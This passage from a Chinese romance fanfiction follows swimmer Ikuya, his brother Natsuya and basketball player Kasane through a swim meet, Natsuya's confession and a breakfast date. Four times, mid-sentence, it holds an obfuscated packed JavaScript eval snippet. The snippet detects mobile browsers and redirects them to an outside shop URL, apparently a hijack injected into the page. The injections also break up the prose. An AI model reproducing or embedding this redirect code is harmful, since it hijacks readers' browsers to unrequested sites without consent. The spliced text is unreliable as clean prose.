也就是说，风音绝不能和他的社交圈子中的任何人发展处友情以上的关系，是这个意思吧？ 郁弥又想伸手去拽拉链了。 “嘛……”他发出了一声很干涸的咕哝声，“我的话，我……对这种事无所谓。” 无所谓？真的吗？ 郁弥捻着发梢，几乎要把柔软的发丝搓成一团，相较之下，话语倒是显得慢悠悠的：“她想做什么是她自己的事情，不是吗？所以，我无所谓。” “意外的很豁达嘛？” “嗯。” 郁弥并不觉得说出这话的自己真的豁达，但如果夏也是这么认为的，他不打算为自己辩白几句。于是夏也也不再说什么了，惯例地替他送上鼓励。 被教练还有日和轮番催了三遍，郁弥磨磨蹭蹭跟上队伍，他的第一场比赛会在十分钟后开始，紧张感依然不可避免——郁弥始终坚信，踏上起点的那一刻所感觉到的近乎窒息般的抽痛感，是获胜必不可少的元素。 各就各位，深呼吸，将氧气鼓进每个细胞，在尖锐哨声落入鼓膜的那个瞬间跃入水中，而后冲刺，穿过水分子的间隙，一刻不停地向前，直至触碰泳壁。郁弥立刻起身，看向计时结果。 并不意外的第一。 是值得为此欢呼的结果，不过现在还只是预赛而已，喝彩还是留到明日的决赛结束之后再说吧。 郁弥相当冷静地在心里这么想着，但目光果然还是忍不住往观众席瞄过去，一眼就看到了欢呼的他的伙伴们，其中……没有风音的身影。 尖锐的空虚感相当突兀地钻进了他的胸膛里，简直措手不及。他绝没有不高兴或是难过，失落也一定不存在，腾不出时间来看比赛是很正常的事情，他也不总是能够旁观朋友们的每一场比赛的，所以他并不…… ……啊。 尖锐的触感消失了，郁弥看到她就在那里。 确切地说，风音目前的状态不太能说是“就在那里”——她正在沿着看台的楼梯往下跑，将这种现状称之为“高速移动”可能还合适一点。 嗯，彻头彻尾地迟到了。 当看到湿淋淋的郁弥走出泳池时，风音好绝望地这么想着，感觉连狂奔的双腿都快没劲了。 首先，必须说明的是，她绝对不是故意迟到的——她绝不可能有意做出如此缺德的事情！如果非要解释事情为什么会变成这样，可能是……意外？ 嗯，就是意外没错。 在今天之前，风音就已经算好时间了，只要周六的训练按时结束，赶到游泳竞标赛的赛场不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759458|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要多久，完全可以赶上郁弥的预赛，还能腾出不少容错时间。 所以问题可能就出在今日份的训练没能按时结束，而导致了问题的最大元凶，是蝙蝠。 准确地说，是共计三只蝙蝠。 常常在互联网上看到有人夸赞京王大学的校园设计得相当优雅，绿化覆盖率也很不错，栖息着许多动物，但在这里读了两年书的风音却完全没有这种感觉，也没觉得这里有很多小动物。校园里出现概率最高的是麻雀和各类甲虫，所能见到最有野生气质的动物是灰毛松鼠，别的更多的就没有了，她也完全不知道蝙蝠也在京王校园的生物圈之列。 更加没想到它们会昏头昏脑地冲进篮球队专用的体育馆，像个无头苍蝇一样到处乱撞，所经之处都会引起一连串的尖叫。 “快帮忙解决掉这几只蝙蝠吧小风！”缩在篮球架下的队友们晃着她的手臂，无比诚恳地拜托她，“如果是你的话，肯定能把它赶出去的！” “诶，为什么是我啊？” 她真的有点不情愿。 “因为小风你从来都不怕虫子啊蛇啊之类的东西，不是吗？你可是每种动物都喜欢的无敌博爱人类啊！” 风音觉得自己姑且算是被夸了，但她一点也不觉得高兴。 “话是这么说没错啦，可我真的没那么喜欢蝙蝠！”她浑身上下都写着抗拒，“我从小就听我爸说，蝙蝠是魔鬼的使者，是邪恶的化身——很恐怖的！” 队友们好失望。 “不是吧，你真的信这种说法吗？” “……”风音得坦白，“其实我不信。” “那就快上吧！” “啊啊啊可是蝙蝠身上病毒好多还会传染狂犬病！虽然得了狂犬病我就不用通过游泳技能考试了但变成疯狗这种事还是不要啊！我们还是找校工帮忙吧？” “你觉得现在我们能走出体育馆找校工吗？” 三只蝙蝠正绕着体育馆的出口疯狂打转，怎么看都不像是能允许任何人通行的样子，看来真的只有博爱（且大胆）的人类才能介入其中了。 风音彻底没办法，默默套上队友们贡献的三件外套和长裤，用真理亚的厚毛衣罩住脑袋，一手举着一根拖把，活像个全副武装的养蜂人，向体育馆的不速之客进发了。 接下来发生了什么，她真的有点不太愿意回想了，总结起来就是忙忙碌碌乱糟糟，人类与蝙蝠的叫声齐飞，可谓是历经了相当恐怖的磨难，好在最后还是成功地将这三只魔鬼的使者送出了体育馆。 风音忍不住想，要是早点把校工叫过来帮忙，就用不着磨蹭四十分钟才让哥谭市变回京王大学体育馆了。 感谢蝙蝠作祟，今日份的训练也顺延了四十分钟才结束，匆匆忙忙赶到电车站，还遇上了人身事故导致的列车晚点，不得不让钱包流点血，改乘出租前来。而后又是着急忙慌的一阵狂奔，顺利地赶上了郁弥这场比赛的尾巴——换言之，她一点精彩的部分也没看到，倒是和准备退场的他对上了视线。 总觉得被他特别不高兴地瞪了一眼。 希望，这只是错觉吧…… 33.绝非什么迟到大王 风音知道郁弥不是什么小心眼的人——就算他真的小心眼、真的因为自己的迟到而小脾气大发作，她也一定会想办法让他放下这份恼怒的，谁让她真的很有人格魅力……她确实很有人格魅力对吧是吧没错吧？ 自信在一秒钟之内扭转成了质疑，一度让大迟特迟的风音罪恶感大爆发，她赶紧加快脚步，挤进那个因为她的迟到而被空置了好久的座位。 “怎么样？”还没来得及坐下来，她已经迫不及待地向一起来观赛的鴫野贵澄丢出询问了，“我是不是错过了所有精彩的部分？” “这个嘛，差不多是的。”贵澄掰着手指头和她细数，“旭的一百米已经结束了，你没看到；遥刷新了大赛最佳自由泳成绩的那一幕也是半小时之前的事情了；还有凛的蝶泳……” 风音赶紧从一大堆懊恼中抽身出来，忙不迭打断他：“哎，等等，我不认识名字叫凛的游泳的初中同学。” “你把他完全忘掉了吧？就是佐野小学的松冈凛呀。” “啊——” 她了然般点点头，想要装出一副恍然大悟的样子，可脑袋刚刚才煞有介事般扬起来，就飞快地耷拉下去了。她实在有点装不出来。 “对不起，我完全不记得还有这么个小学同学了。”她要冒汗了，“说真的我都怀疑自己从那时候就不认识他。” “鹿鸣，你看起来好像很紧张？没事啦，以后再相互了解就好啦。” “也是也是……” 风音瞬间安心，赶紧和隔了一个座位的橘真琴握手打招呼——他们初中时可是当过整整一年的同班同学呢。 总觉得很奇妙。 坐在看台上，流水的搅动声与激烈的欢呼沉在脚下，此刻正在争先恐后的参赛者里没有认识的选手，她看得不太认真，这可能就是为什么她会在这时候才冒出奇妙的感觉。 和初中的朋友们坐在一起看比赛这件事让她觉得很奇妙。 她的少年时期搬家太多次了，从不同的城市辗转到不同的大洲。即便是能够搬走的家具，也难免会在舟车劳顿中丢失一两件，或是三四件，也可能比这还多，更何况是留下的朋友。 风音不会回头。她知道自己落下了很多东西，缺失感也并非隐形之物，但她的确不是那种会回过头去、左顾右盼的性格——可能曾在短暂地某些时刻会顿住脚步吧，可除此之外的时间，她都在迈步向前。 往前走，认识新的朋友，继续向前，与遗留在过去的朋友们再度相遇了，绕了莫大一个圈子的奇迹，明明她并不那么相信任何虚妄的东西。 换言之，她也不觉得蝙蝠真的是魔鬼的使者，和队友说出了神神叨叨的魔鬼论，纯粹是她不想介入蝙蝠的事务之中，就是这样——抱歉她跑题了。 所以，回到正轨，她很高兴。 现在她会稍稍回头一下了，以无比感激的心情，回头看向她在镰仓的清晨遇见郁弥的那一刻。 “夏也前辈果然是第一，真厉害。”忽然听到贵澄说。 风音赶紧回过神来：“什么什么？夏也的比赛这就结束了？” 真不想承认，如此重要的时刻，居然完全被她的胡思乱想耗尽了，别说是加油喝彩，连精彩时刻也一点都没看到。风音心虚地移开视线，她已经发现泳池旁的夏也在抬头看她了。 千万别是和郁弥一样在偷偷瞪她啊拜托拜托拜托—— 还好，她过虑了，无论是郁弥还是夏也，谁都没有在赛后对她提出什么奇怪的问题会是说出半点意味不明的话语，一切都相当正常，就连第二天决赛之后的庆功宴也没什么好担心的。 由此可见，他们俩根本没瞪过风音，完全是她自己想多了。 至此，风音松了口气，安心地往自己的杯子里倒满橙汁，摩拳擦掌，准备向即将上桌的鞑靼牛肉发起第一波进攻，毕竟来参加庆功宴的人好多，大家还差不多都是岩鸢中学的同学，称之为同窗会都没关系了。 “这次竞标赛的决赛日期确定了吗？”听到有人问。 “诶？”风音匆匆忙忙把牛肉咽下去，“今天还不是决赛吗？” “只是东京地区的选拔赛而已，暂且拿到了通往全国赛的入场券。”夏也和她解释。 而郁弥会戳她脑袋：“你根本不认真听别人说话。” “我没有，我听了！”风音端着碗往贵澄身后躲，“肯定是你没说我才不知道！” “可我说了。” “不可能，你一定没说。” 无聊的争辩来来回回打了五个回合，最后被手机的突兀震动打扰，风音连忙抬手中断，摸出手机一探究竟。 是新邮件的提示。她放下了碗，把正文反复看了好几遍，指尖不自觉地从鼻尖摸到耳朵再到发梢，小动作比任何时候都多。 在这点时间里，她错过了饭桌上的一大堆话题，也没有发现最想吃的裙带菜沙拉已经被分食完毕，好不容易回过神来，却先被夏也的目光吓了一跳。 不是那种眼前忽然出现了些什么的惊吓，肯定也不如电影中经典的jump scare那么恐怖，风音只是觉得自己的心过分急速地跳了几下，险些要从胸腔中飞走。 “怎么了？”她忍不住问。 但夏也只是摇了摇头，继续喝着玻璃杯里的啤酒。 一群人的喧闹一定会持续好久，也肯定要闹闹腾腾到好晚，分别时也绝对意犹未尽。大家说着“等到全国赛的时候就能再见面了”，挥手道别。和夏也顺路的风音赶紧催着他一起去赶末班车——她暂时还不想成为被《今天去你家好吗》节目组采访。 完全用不着感到意外，夏也已经喝醉了，醉醺醺的程度比起轻井泽的那天好上不少，没有不省人事也不会说什么胡话，酒精只麻痹了他的脚步，害他步履蹒跚。 “我送你回去吧？”风音如此提议。 “然后你自己一个人回去吗？” “嗯。” “那还是让我送你回去吧。你一个人的话，我会有点担心。” 风音很想笑：“现在到底是应该由谁担心谁啊？” 比起时而离她半米远，时而又差点碰到她手臂的夏也，肯定是闭着眼都能走直线的自己更靠谱一点嘛。但夏也本人还想逞强，干脆说出了“我们先走着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765426|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说”的豪言壮志，和她在同一站下了车，一起走在熟悉的路上。 大概是在第八次碰到肩膀时，听到她说：“传言说，经常喝酒的人到了中年会发胖。” 夏也努力不要皱起脸：“在暗示我将面临的未来吗？” 风音不留情面地点头：“没错。” “安心啦。”他笑起来，“这种事不会发生在我身上的。” “明明每次吃饭你都喝酒。” “你在嫌弃我吗？”他赶紧把嘴角收敛起来，“这样子我会哭的。” 明明是煞有介事的要挟，风音却笑个不停。 “怎么又说这种话？我知道的，你才不会哭。”她说，“你又不是郁弥。” “兄弟俩有点共性也很正常。” “但一定不是在容易掉眼泪这方面有共性。” 夏也无奈耸肩：“好吧。” 被她看穿了。 “对了，刚才。”他想起来，“我是说你和郁弥进行无聊拌嘴之后、裙带菜沙拉被吃光之前，你是不是收到了什么好消息？” “你发现啦？” “嗯，因为你那时候看起来很惊喜的样子。可你当下什么也没说，我想可能是不能宣扬的事情，所以等到现在才问你。” “原来我一点也没把心情藏住啊？”风音对自己真是没办法了，“好吧，确实是有好消息。不是不能说，只是……暂时是个机会，而不是确定的未来，我想等到确认了再分享给大家。” 她忍不住轻快地向前迈了几步，这个好消息足以让她如此高兴。 “我得到了国家青年队的试训邀请。” 她说话时，晚饭吹起了她的发丝。 “如果未来能成为国家队的一员，就可以登上更大的舞台了。也许，WNBA也有可能？如果能加入WNBA，我一定能够成为很受欢迎的球员。总之，现在的好消息说不定能让我往前大大地迈出一步，我希望我期望的一切都能成真，但在实现之前——” 风音竖起手指，压在藏起的笑意上。 “——我还不想告诉别人。” 可是，却和夏也说了，因为他是即便分享狂野幻想也没关系的人。 “这算是秘密吗？” “嗯。” “好，我不会和任何人说的。” “多谢！” 虽然是不想被更多人知道的事情，但能够分享给他人，风音果然还是很高兴，脚步又要轻快地蹦跶起来，却忽然被轻轻拽住，原来是夏也握住了她的手。 寒冷的冬日已经离去，她的手并不那么寒冷。即便如此，夏也依然握着她的手。 “作为交换，告诉你一个我的秘密。”他说，“我有喜欢的人。” “我知道哦，你说过了。” 风音想，他果然醉得很厉害。居然连这种事都忘记了。 她笑着戳他：“这已经不是秘密了，快用别的秘辛和我交换！” “不，这就是秘密。” 他向前迈了一步，很忽然的一步。 “因为你一直没猜到，我喜欢的那个人是你。” 34.最初握住的手满百营养液加更 坦白说，风音并不是一个窥私欲很强的人——话虽如此，如果能够偷偷听到他人的秘密，她肯定免不了会为此窃喜一番，而这绝对是她与生俱来的好奇心与邪恶心思在作祟，但她更情愿将这份窥私欲辩称为人类的劣根性。 可是，一旦某人秘密之中留有自己的一席之地，甚至她就是那个秘密的主角，该用怎样的心情去面对才比较合适呢？ 风音不想显得呆愣愣的，这样肯定会显得她很愚蠢也很迟钝；同样不打算说出什么过分机灵的玩笑话，她不希望自己看起来对眼前的大事太不认真。既然如此，沉默只能变成不可抗拒的选择。她不自觉地眨了几下眼，才抬眸看向夏也，他赭色明亮的眼眸里正倒影着一个小小的、却很迷茫的自己。 和郁弥很像的眼睛。 非要说的话，他们兄弟俩最相似的部分就是眼睛了，有时候她甚至分不出投来目光的会是夏也还是郁弥。 或许正是出于这个原因，当夏也看着她时，她不由得轻颤了一下，仿佛落在身上的是另一个人的审视。数秒之后，她才意识到这个小动作完全没有意义，心情终于稍稍平复了一点。 是夏也在看着她。是夏也说了喜欢她。 风音稍稍花了一点时间，对现状进行了一系列合理的推测，而其中最为合理的猜想，当属—— “你果然醉得很厉害。”她觉得刚才的争论可以彻底画下句点了，“看来还是得由我送你回去比较好。” “好吧，如果你做出了决定，但我会好好配合的。不过，我说的不是醉话。” “意思是，这是真心话吗？” “嗯。我喜欢风音。” 真是……好直白的话语啊。 直白一定不是坏事，但最近很少听到如此直白的话语，多少让风音有点不习惯了，明明她知道夏也就是这么直白的性格。 好吧，必须承认，现在应该算得上是个相当正经甚至严格的场合，随意露出笑容绝不是合适的行为。风音赶忙收敛起嘴角（大概只有天知道她是从什么时候开始笑起来的吧），板起面孔，很认真地想了想。 “我知道我是个很值得被喜欢的人。”她说，“可我还是要问问你，为什么会喜欢我？” 夏也笑了——好嘛，他也挺不严肃的。“这是对我的考验吗？”他问。 “不算，非要说的话……只是对你的访谈而已。” “访谈吗？好吧。访谈。” 风音用的这个词让他很想笑，不过他也意识到现在是很正经的、不该乱笑的时候了。他收起笑容，认真地想了想。 很奇怪，居然想不到能够编织成言语的理由。 能有什么为什么呢？因为和她认识了很久吗，因为她一直都是很值得依赖的朋友吗，又或者是别的原因？夏也根本说不出理由，毕竟“喜欢”向来都是漫长过程中诞生的产物。 能真正让他用言语诉说的，大概只有喜欢她的那些部分吧。 夏也喜欢她的手掌，居然能那么轻松地捏住篮球，结实到肯定不会在掰手腕大赛中落败。也喜欢她的金发，在阳光下会浅得近似于蜂蜜的颜色，是一眼望过去就会让人觉得很符合鹿鸣风音此人气质的色泽。 仔细想想，最初见到她时，视线也完全被她的金发吸引了吧。 第一次见到风音是在夏天，街对面空置了好久的房子终于搬来新住客，那家的男主人在一整年顶顶热的日子里带着女儿来拜访，他过分光滑的脑袋反射出了海边炽热的日光。妈妈把他和郁弥叫出来同新邻居问好，可郁弥却被这颗脑袋上完全倒置的毛发分布吓了一跳，怯怯地缩在他的背后。夏也赶紧挺起胸膛，确信作为哥哥的自己必须要表现得更加勇敢一点才对。 其实也不用太勇敢，毕竟一颗光头并不那么让他害怕。况且，新邻居的身边还跟着一个和弟弟差不多年纪的孩子。 那孩子有一头很漂亮的浅金色短发，发梢剪得相当齐整，正好和下巴齐平。 但本该是看起来就很乖巧的妹妹头，这会儿却乱糟糟地炸开着，有的几根发丝飞到了她的头顶上，横跨发缝，让人怀疑是不是正在模仿越过柏林墙的坚定士兵；还有几缕头发更加不听话，夸张地从发根处就开始翘起来了，意图直指天空。 光是看这发丝的走向，都能推测出她昨晚的采用了怎般狂野的入睡姿势。 理论上，如此显而易见的杂乱发型，牵着她的手一起前来的她的父亲肯定会发现。而且，只需要花上五分钟，就能让她的妹妹头变回本该拥有的乖巧样子，可他肯定是太紧张了，要用刚刚学会的语言和从没见过的邻居打招呼可是重大的压力，害他完全没察觉到女儿的奇怪外形，就这么按响了桐岛家的门铃。 不过嘛，其实就连顶着杂乱脑袋的小姑娘本人都不在乎这种事，在大人们说着礼貌的社交辞令时满不在意地甩开爸爸的手，轻快地跳到夏也的面前，像个市侩的小大人，紧紧握住他的手。 是的，她最先握住的是他的手——他的手，不是其他任何人。 就连第一句的“你好”也是对他说的，而不是郁弥。 “我叫卡萨涅，卡萨涅·塞杜！” 她挺着胸膛，骄傲地进行着自我介绍。 “要是把我的名字写成汉字，就是‘风’的声‘音’哦，是不是特别厉害！从此我们以后就是朋友啦！然后该说什么来着……对了，请多多指教！” 总说人如其名，有时候夏也觉得她确实很像一阵风，咻咻咻地来，咻咻咻地走掉，即便是伸出手，也不一定能够抓住她吧。但没关系，他也从不想把任何人紧紧拴在身边——那太自私了。 话虽如此，但他现在好像是真的、顺利地拽住这阵曾经错过的风了，因为最喜欢的她的手就在自己的掌心里，她也很认真地在听自己絮叨着初次见面的回忆，居然比任何时候看起来都很有耐心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768152|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她认真地听完，认真地点头，认真地说：“这很庸俗。” 并且很认真地进行了复仇。 毕竟在她曾经说自己答应了同学的告白时，夏也给出的评价就是“你太庸俗”，难得能捕捉到反击的机会，她当然不会留有情面。 夏也装出一副要哭的样子，但是失败了——都说了，随时随地掉眼泪，是郁弥才会做的事情。 很突然地又一次想到郁弥，她的心脏不知为何猛突了一下。奇怪的感觉，她不打算放在心上。 “也就是说，当你看着我的时候，看到的是一顶行走的金发吗？”她必须得问个清楚，为此她会换上自己伪装的愤怒表情，“而我，鹿鸣风音，只是这头金发的人台、自动行走机器和移动护理装置吗？” 夏也煞有介事般点点头：“是这样没错……好吧，骗你的。怎么可能会冒出这种想法。”说着，他伸出手，同样不留情面，用力搓搓她的脑袋，“因为你是你，所以才会喜欢你。” “是嘛是嘛，可我还是觉得夏也先生您有那么一点庸俗。” 风音一边说一边摇头，把架子摆得好足，真是太邪恶了，明明初次见面时，她是像小金毛犬那样又阳光又可爱的存在啊。 当然了，夏也不会觉得惋惜，而她的邪恶也并不是真正的邪恶。就算是摆起夸张的做派，仿佛将要登上巴黎歌剧院的舞台，只要稍稍催她快点给出答复，她的伪装就会立刻出现破绽，真正的心思根本藏不住。 “没办法，正如某人——某位姓氏首字母为K名字首字母为N个子大概比我高了十厘米且非常擅长游泳的……” 夏也忍不住打断她：“好啦好啦不要记仇了，如果你想指名道姓地说我的话，就直接念出我的名字吧，我又不会生气。” “不行——总之这个某人说我很庸俗，会喜欢庸俗的人。既然如此，我就答应了庸俗的夏也先生的告白吧。” 直白者的应答来得迂回曲折，就连风音也觉得自己好像有点太别扭了，正想着要把回答掰直了重新再说一遍，突如其来的怀抱却将她完全包裹，温暖的、像是终于拥有了实体的水泽。 能嗅到夏也身上的味道，是令人安心的近似木头的香气。他毛茸茸的羊羔毛衣领温暖地擦着她的脖颈，更温热些的脸颊贴在了她的耳廓上，吐息落在颈窝，好痒，还有酒精的味道。风音听到了急促而切实的心跳声，但她不确定这是自己的，还是夏也的心跳。 这是个宽阔又结实的拥抱，会让人怀疑是不是不小心掉进了棕熊的怀抱里。 “风音。”他说着只会落在她耳边的悄悄话，“喜欢你。” 很开心，可心跳还是好快。什么在作祟？ “知道啦。” 话说出口了才后悔。 她明明可以不这么说的。 这大概不是最妥当的回应吧。 可她想，她真的好喜欢这双眼睛。 35.美梦醒来之时 一觉醒来时，风音有点怀疑自己是不是做了奇怪的梦——梦境的主题显然是夏也向她告白了，还牵着她的手一起走回家，最后还吻了脸颊再诉说道别的梦。 还挺怪的吧？虽然算得上是广义定义的美梦，但果然还是有那么一丁点怪。 怪的就像是她最见不得人的妄想城镇了。 真的，真的不能怪她产生了这种幻想成真以至于怎么都不敢相信的感觉。 她现在唯一能够认同的事实是，在凌晨到家关上门的那一刻，她怎么忍不住，赶紧奔向床铺，把脸埋了进去，吱哇乱叫了三分钟，并且在接下来的一整个小时辗转反侧难以入眠，明明人已经困到头痛难受了，可还是无法好好地沉进没想里。最后，实在是没有办法了，只能从抽屉深处掏出珍藏已久（定睛一看居然在三个月又零八天之前就过期了但是非吃不可啊！）的褪黑素，摸出两颗丢进嘴里，连水都没喝一口，就这么硬生生地咽了下去，在剩余的清醒时间里都在怀疑药丸是不是还黏在喉咙上没办法滑下去。 然后嘛，然后她睡着了。 然后没有做梦，或者是做了她认为的那个怪梦。 然后被每天早晨五点半的闹钟叫醒，有效睡眠时间共计四小时。 换言之，现在的她不算清醒，但也没有完全沉进迟钝与困倦之中，否则她现在也就不会苦苦纠结了。 和夏也有关的那段记忆到底是梦还是现实呢……在经历的当下，她就应该掐一下手臂验证真伪的，怎么连这种事都忘了做，肯定是得意忘形了！ 真的，真的不能怪她——就算把这句前缀说上一百遍也是一样，这真的不能怪她，毕竟她所质疑的一切全都是入睡前的不久经历的事情，将其和未曾降临的梦境混杂在一起，也不是什么很奇怪的事情……吧？ 终于给自己模糊的记忆找到了绝佳完美的理由，风音多少安心一点了，可还是忍不住心虚地搓搓脸，摸出手机看了一眼，居然只有一条来自郁弥的新消息，问她是不是已经到家了。 完全能想象到问着这话的郁弥的面庞，一定是带着一点深藏不露的关切。 很可惜，他的关心乘着这条信息抵达的时候，正巧是风音在床上打滚吱哇乱叫的期间。那一刻的她完全陷入不谙世事的状态之中，彻底忽略了新消息的到来。 而在看到消息的现在，风音不自觉地冒出了一点罪恶感，这种空落落却又冰冷尖锐的感觉在胸腔里毫不留情地打了个滚，留下一片难受的刺痛。 真是，无比真实的感觉。 现在风音清醒多了，她逐渐觉得自己质疑的梦境确实是事实没错。 总之先回复消息吧。拖到现在才看到对方的消息已经很不礼貌了，已读不回更是糟上加糟。妈妈可没有把她培养成不懂礼数的家伙。 「Kasane：不只已经到了家，还睡醒了。早上好。」 按下发送之后，鬼使神差地打开了和夏也的聊天记录，但最新的一条消息是昨天下午发的，祝他比赛顺利，而他说了感谢的话。 所以，到底是梦还是…… 她真的很想直接打电话问问本人——如果是大乌龙那她真的会一辈子抬不起头但要是不搞明白这个问题她今天也会很痛苦的！——可现在是早晨五点半。而夏也是那种要睡到九十点才醒来的生物钟。 既然如此，还是先去跑步吧，要确认的事情等到晚点再说。 但接下来的半个小时里，她都坐在沙发上，盯着电视屏幕上正在播放的晨间新闻，好像她向来都对发生在世界其他角落的事情多么关心那样。 什么，偷懒？她可没有在偷懒！ 只是觉得只睡了四小时的自己还要去晨跑，需要面对的猝死风险有一点大而已。仅此而已。 磨蹭到六点，她终于忍不住了，拨通了夏也的电话。 嘟嘟嘟的通话音持续了很久，这不算意外，毕竟这依然不是个适合通话的时间，就算他故意忽略了来电铃声，风音也会谅解他的——然后把他在自己心里的印象分减掉五分。 还好还好，在分数摇摇欲坠之际，电话那头传来了熟悉的声音。 “早上好。” 清爽、利落、半点困意都没有的问好，和风音想得完全不一样。她得赶紧把落到嘴边的“真不好意思大清早打扰你了如果你现在不方便的话我可以晚点再打过来”吞回肚子里，嘀咕了一声早安。 “虽然知道你平时都是这个时间起床，但果然还是会觉得你起得好早。”听到他笑着说，“有点太勤奋了。” “这是很正常的起床时间，不至于被夸。”而且她又不是为了夏也的夸夸才打电话过来的——当然能听到夸赞确实很让人高兴，“我是有事想问你来着。” 电话那头顿了一秒：“你不是要反悔了吧？” “反悔？啊——” 看来真的是现实了。 不好，风音又想要吱哇乱叫了，可惜现在真的不能这么做。 她努力地克制了住退化成远古猴子的冲动。作为代价，她不受控制地站起了起来，绕着沙发转了整整三圈，扑通坐下。 “没有。反悔？怎么可能！”她忽然激动起来，“你该对我有点信心！” “嗯，我觉得也是。” “我只是很担心自己在做梦，所以才觉得一定要和你确认一下才行！” “我知道。放心，昨天的事情不是梦，喜欢风音也不是什么虚假的事情。” “是嘛……” 赶紧捏一下大腿，天呐好痛这真的是真的。 风音松了口气——然后差点痛得叫出声来：“知道啦！” “你昨天也是这么说的。”带着笑意这么说的夏也肯定是在笑话她，“要一起去吃早饭吗？” “好。” “那就一刻钟之后，在你家楼下见面吧。” “嗯……一会儿见。” 挂断了电话。 风音终于彻底放弃了吱哇乱叫的冲动——依然作为替代，她喝光了冰箱里剩下的牛奶。 然后裹上外套，把头发一丝不落地梳起来，沿着楼梯走下了整整两层才想到，自己好像应该换件更好看的上衣，而不是这身松垮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773820|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得能够容下两个她的亨利领针织衫。 但亨利领也很好啊，这可是流行了两百多年的经典英伦设计，觉得它不够精致的家伙才应该自我反思。 完成了自我安慰的风音加快脚步，最后三级台阶干脆直接跳了下去，脚踝发出一声“你是不是以后不想打篮球了”的警告，她装作没听见，一路小跑。 她已经看到夏也了。 只睡了四小时，风音不觉得自己堕落成了面黄肌瘦的模样，但一定算不上容光焕发。可夏也却精神满满，让人怀疑他会不会是悄悄偷走了一点时间用来睡觉。 “才没有。我又不是巫师，更加不是小偷。” 他一边自我辩解着，一边搓搓她的脑袋，差点害她跳起来：“要秃头了！” “真的吗？”他匆忙缩回手，“你该早点告诉我的。” “只是想防范于未然。” 缩回的手并非无处可去，很快就像章鱼那样划过她的掌心，轻轻缠上指尖。 风音忽然意识到了一件事，就是太过后知后觉，让她在想明白的那一刻不自觉地“啊”了出来。 “你是故意的！”她急匆匆地说，“前辈们的毕业聚会的那次，你想摸摸我的手的温度，结果却握着走了整整一路——你是故意的！” 夏也蹙起眉头，露出一副人畜无害、纯良到没话说的表情，配上见怪不怪理所应当的口吻：“是啊。你没发现吗？” “……我只当是你想帮我取暖！” “没有哦，我纯粹是想要动用一点勾引的手段而已。” “狡猾！” “彻底失败的手段就不能再称作狡猾了。” “狡猾就是狡猾！” 风音毫不留情地一掌拍在他的背上，好响一声。挨了打的夏也笑个不停，赶紧往前逃，他们就这么闹腾着走进了公寓楼下的喫茶店，直到拿起菜单的那一刻才终于舍得停手。 虽然这家会供应早餐、且名气不算小的喫茶店就在家楼下，风音却很少前来光顾——她一向是便利店饭□□兼学生食堂派。 也就是说，她根本没办法就今日的早餐选择给出太多有建设性选择，反而自己纠结了半天，很没有创意地点了菜单上的招牌菜。夏也则是盯着她焦头烂额的模样笑个不停，根本没有在认真点餐。 很可能正是因为这样，夏也才会在餐盘上桌之后，迟钝地发现自己的什锦菌菇炒蛋里还掺杂着细细密密的香菇碎。 “有人没认真看菜单呢~”风音坏心思地吹着口哨，“而且好像完全挑不出来呀——毕竟有这么多香菇！” 夏也特别郁闷地盯着她，这份幽怨的目光让她更加想笑了。 不过笑归笑，她又不是以他人的不幸和痛苦当做佐餐的恶魔，肯定会大度地同他交换早餐。她可是各种蘑菇都喜欢的博爱人类。 手机震了震，差点从口袋里掉出来，能想到是谁发来的消息。风音撒黑胡椒的手顿了顿，没有伸进口袋里。 “对了。” 她忽然很想问。 “昨天的事情，你和郁弥说过了吗？” 36.好吃爱吃多吃 把恋情过分简单地描述为“昨天的事情”，似乎不是什么绝佳的称呼方式。风音在说出这话的时候才感觉到了异样。 但比说话方式更加异样一点的，很可能是她的心情把。 风音觉得自己不算是一个轻易会后悔的人，即便是做出了值得后悔的事情，懊恼的心情也总是迟迟地才追上她，且到了那个时候，她大概率已经不会再有什么奇怪的感觉了。 